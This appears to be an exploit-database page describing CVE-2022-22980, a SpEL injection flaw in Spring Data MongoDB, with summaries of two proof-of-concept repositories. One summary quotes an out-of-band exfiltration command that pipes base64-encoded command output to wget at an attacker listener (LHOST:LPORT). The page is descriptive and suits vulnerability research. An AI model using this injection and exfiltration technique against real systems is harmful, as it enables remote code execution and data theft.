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CVE-2022-22980 is an expression injection vulnerability in Spring Data MongoDB. The issue affects applications that use @Query or @Aggregation-annotated repository query methods with Spring Expression Language (SpEL) expressions containing query parameter placeholders for value binding. When untrusted input is incorporated into those expressions without proper sanitization, an attacker can inject crafted SpEL content that alters expression evaluation. This can lead to unauthorized manipulation of MongoDB queries and, depending on the application’s expression usage and evaluation context, broader application compromise.
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2 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (2 hidden).
Repository contains a single Python exploit script (`spel_shell.py`) and documentation (`README.md`) for exploiting CVE-2022-22980 (SpEL injection leading to RCE) against a Spring Data endpoint. Structure & purpose: - `README.md`: French-language walkthrough describing the vulnerable `/search` endpoint with POST parameter `tracking_id`, the exploitation flow (SpEL -> `Runtime.exec()` -> base64 encode -> exfiltrate via HTTP GET), prerequisites (curl locally; wget on target; reachable listener), and troubleshooting. - `spel_shell.py`: Operational PoC that (1) starts a one-shot HTTP server on `0.0.0.0:LPORT` to capture a single GET request, (2) sends a POST request with a crafted `tracking_id` SpEL payload to `TARGET` using local `curl`, and (3) decodes the received base64 data and prints command output. Exploit capabilities: - Remote command execution by injecting SpEL that calls `java.lang.Runtime.getRuntime().exec()`. - Output capture via out-of-band exfiltration: the target runs `bash -c '<cmd> | base64 -w0 | xargs ... wget http://LHOST:LPORT/<data>'`. - No interactive shell; it is a command runner with single-response output retrieval per run. Notable implementation details: - Uses Python `http.server` with a custom handler to store the URL path as exfiltrated data. - Uses `subprocess.run(["curl", ...])` rather than a Python HTTP client. - Hardcoded defaults for TARGET/LHOST/LPORT indicate intended use in lab/CTF environments (e.g., HackTheBox).
This repository is a proof-of-concept (POC) exploit for CVE-2022-22980, a SpEL injection vulnerability in Spring Data MongoDB. The project is a simple Spring Boot application configured to run on port 6666 and connect to a MongoDB instance on localhost:27017. The main vulnerability is in the /v1/user/get HTTP GET endpoint, which takes a 'username' parameter and passes it directly to a repository query using SpEL. By crafting a malicious 'username' parameter, an attacker can execute arbitrary system commands on the server. The README provides an example payload that opens the Calculator app on macOS. The repository includes all necessary files to build and run the vulnerable application, including Java source files, a Maven build file (pom.xml), and application configuration. This POC demonstrates the exploit but does not include weaponized or automated exploitation features.
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